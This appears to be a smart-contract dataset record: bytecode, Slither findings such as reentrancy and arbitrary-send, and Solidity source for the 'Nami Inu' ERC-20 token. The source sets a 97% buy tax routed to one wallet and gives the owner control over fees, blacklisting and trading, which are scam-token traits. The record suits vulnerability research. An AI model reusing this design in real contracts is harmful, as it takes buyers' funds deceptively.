66000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208a40290cacd985ec0e0170fab9dd30375d2b5f836c1a7a956246165d1a2bf3a264736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,201 |
0x336468d128b64423a701153cc7acf9de87481658
|
/**
*Submitted for verification at Etherscan.io on 2022-04-11
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract NamiInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Nami Inu";
string private constant _symbol = "NAMI";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 97;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x81572218e0758066C2FF4bd5F5dDB7392e1F3D10);
address payable private _marketingAddress = payable(0x81572218e0758066C2FF4bd5F5dDB7392e1F3D10);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = true;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 1000000 * 10**9;
uint256 public _maxWalletSize = 20000 * 10**9;
uint256 public _swapTokensAtAmount = 2500 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610552578063dd62ed3e14610572578063ea1644d5146105b8578063f2fde38b146105d857600080fd5b8063a2a957bb146104cd578063a9059cbb146104ed578063bfd792841461050d578063c3c8cd801461053d57600080fd5b80638f70ccf7116100d15780638f70ccf71461044a5780638f9a55c01461046a57806395d89b411461048057806398a5c315146104ad57600080fd5b80637d1db4a5146103e95780637f2feddc146103ff5780638da5cb5b1461042c57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461037f57806370a0823114610394578063715018a6146103b457806374010ece146103c957600080fd5b8063313ce5671461030357806349bd5a5e1461031f5780636b9990531461033f5780636d8aa8f81461035f57600080fd5b80631694505e116101ab5780631694505e1461027157806318160ddd146102a957806323b872dd146102cd5780632fd689e3146102ed57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024157600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b6105f8565b005b34801561020a57600080fd5b506040805180820190915260088152674e616d6920496e7560c01b60208201525b6040516102389190611a1f565b60405180910390f35b34801561024d57600080fd5b5061026161025c366004611a74565b610697565b6040519015158152602001610238565b34801561027d57600080fd5b50601454610291906001600160a01b031681565b6040516001600160a01b039091168152602001610238565b3480156102b557600080fd5b5066038d7ea4c680005b604051908152602001610238565b3480156102d957600080fd5b506102616102e8366004611aa0565b6106ae565b3480156102f957600080fd5b506102bf60185481565b34801561030f57600080fd5b5060405160098152602001610238565b34801561032b57600080fd5b50601554610291906001600160a01b031681565b34801561034b57600080fd5b506101fc61035a366004611ae1565b610717565b34801561036b57600080fd5b506101fc61037a366004611b0e565b610762565b34801561038b57600080fd5b506101fc6107aa565b3480156103a057600080fd5b506102bf6103af366004611ae1565b6107f5565b3480156103c057600080fd5b506101fc610817565b3480156103d557600080fd5b506101fc6103e4366004611b29565b61088b565b3480156103f557600080fd5b506102bf60165481565b34801561040b57600080fd5b506102bf61041a366004611ae1565b60116020526000908152604090205481565b34801561043857600080fd5b506000546001600160a01b0316610291565b34801561045657600080fd5b506101fc610465366004611b0e565b6108ba565b34801561047657600080fd5b506102bf60175481565b34801561048c57600080fd5b506040805180820190915260048152634e414d4960e01b602082015261022b565b3480156104b957600080fd5b506101fc6104c8366004611b29565b610902565b3480156104d957600080fd5b506101fc6104e8366004611b42565b610931565b3480156104f957600080fd5b50610261610508366004611a74565b61096f565b34801561051957600080fd5b50610261610528366004611ae1565b60106020526000908152604090205460ff1681565b34801561054957600080fd5b506101fc61097c565b34801561055e57600080fd5b506101fc61056d366004611b74565b6109d0565b34801561057e57600080fd5b506102bf61058d366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c457600080fd5b506101fc6105d3366004611b29565b610a71565b3480156105e457600080fd5b506101fc6105f3366004611ae1565b610aa0565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161062290611c31565b60405180910390fd5b60005b81518110156106935760016010600084848151811061064f5761064f611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068b81611c92565b91505061062e565b5050565b60006106a4338484610b8a565b5060015b92915050565b60006106bb848484610cae565b61070d843361070885604051806060016040528060288152602001611dac602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ea565b610b8a565b5060019392505050565b6000546001600160a01b031633146107415760405162461bcd60e51b815260040161062290611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078c5760405162461bcd60e51b815260040161062290611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107df57506013546001600160a01b0316336001600160a01b0316145b6107e857600080fd5b476107f281611224565b50565b6001600160a01b0381166000908152600260205260408120546106a89061125e565b6000546001600160a01b031633146108415760405162461bcd60e51b815260040161062290611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b55760405162461bcd60e51b815260040161062290611c31565b601655565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161062290611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092c5760405162461bcd60e51b815260040161062290611c31565b601855565b6000546001600160a01b0316331461095b5760405162461bcd60e51b815260040161062290611c31565b600893909355600a91909155600955600b55565b60006106a4338484610cae565b6012546001600160a01b0316336001600160a01b031614806109b157506013546001600160a01b0316336001600160a01b0316145b6109ba57600080fd5b60006109c5306107f5565b90506107f2816112e2565b6000546001600160a01b031633146109fa5760405162461bcd60e51b815260040161062290611c31565b60005b82811015610a6b578160056000868685818110610a1c57610a1c611c66565b9050602002016020810190610a319190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6381611c92565b9150506109fd565b50505050565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b815260040161062290611c31565b601755565b6000546001600160a01b03163314610aca5760405162461bcd60e51b815260040161062290611c31565b6001600160a01b038116610b2f5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610622565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bec5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610622565b6001600160a01b038216610c4d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610622565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d125760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610622565b6001600160a01b038216610d745760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610622565b60008111610dd65760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610622565b6000546001600160a01b03848116911614801590610e0257506000546001600160a01b03838116911614155b156110e357601554600160a01b900460ff16610e9b576000546001600160a01b03848116911614610e9b5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610622565b601654811115610eed5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610622565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2f57506001600160a01b03821660009081526010602052604090205460ff16155b610f875760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610622565b6015546001600160a01b0383811691161461100c5760175481610fa9846107f5565b610fb39190611cad565b1061100c5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610622565b6000611017306107f5565b6018546016549192508210159082106110305760165491505b8080156110475750601554600160a81b900460ff16155b801561106157506015546001600160a01b03868116911614155b80156110765750601554600160b01b900460ff165b801561109b57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c057506001600160a01b03841660009081526005602052604090205460ff16155b156110e0576110ce826112e2565b4780156110de576110de47611224565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112557506001600160a01b03831660009081526005602052604090205460ff165b8061115757506015546001600160a01b0385811691161480159061115757506015546001600160a01b03848116911614155b15611164575060006111de565b6015546001600160a01b03858116911614801561118f57506014546001600160a01b03848116911614155b156111a157600854600c55600954600d555b6015546001600160a01b0384811691161480156111cc57506014546001600160a01b03858116911614155b156111de57600a54600c55600b54600d555b610a6b8484848461146b565b6000818484111561120e5760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611cc5565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610693573d6000803e3d6000fd5b60006006548211156112c55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610622565b60006112cf611499565b90506112db83826114bc565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132a5761132a611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137e57600080fd5b505afa158015611392573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b69190611cdc565b816001815181106113c9576113c9611c66565b6001600160a01b0392831660209182029290920101526014546113ef9130911684610b8a565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611428908590600090869030904290600401611cf9565b600060405180830381600087803b15801561144257600080fd5b505af1158015611456573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611478576114786114fe565b61148384848461152c565b80610a6b57610a6b600e54600c55600f54600d55565b60008060006114a6611623565b90925090506114b582826114bc565b9250505090565b60006112db83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611661565b600c5415801561150e5750600d54155b1561151557565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153e8761168f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157090876116ec565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159f908661172e565b6001600160a01b0389166000908152600260205260409020556115c18161178d565b6115cb84836117d7565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161091815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163d82826114bc565b8210156116585750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116825760405162461bcd60e51b81526004016106229190611a1f565b50600061121b8486611d6a565b60008060008060008060008060006116ac8a600c54600d546117fb565b92509250925060006116bc611499565b905060008060006116cf8e878787611850565b919e509c509a509598509396509194505050505091939550919395565b60006112db83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ea565b60008061173b8385611cad565b9050838110156112db5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610622565b6000611797611499565b905060006117a583836118a0565b306000908152600260205260409020549091506117c2908261172e565b30600090815260026020526040902055505050565b6006546117e490836116ec565b6006556007546117f4908261172e565b6007555050565b6000808080611815606461180f89896118a0565b906114bc565b90506000611828606461180f8a896118a0565b905060006118408261183a8b866116ec565b906116ec565b9992985090965090945050505050565b600080808061185f88866118a0565b9050600061186d88876118a0565b9050600061187b88886118a0565b9050600061188d8261183a86866116ec565b939b939a50919850919650505050505050565b6000826118af575060006106a8565b60006118bb8385611d8c565b9050826118c88583611d6a565b146112db5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610622565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f257600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112db81611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112db82611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e0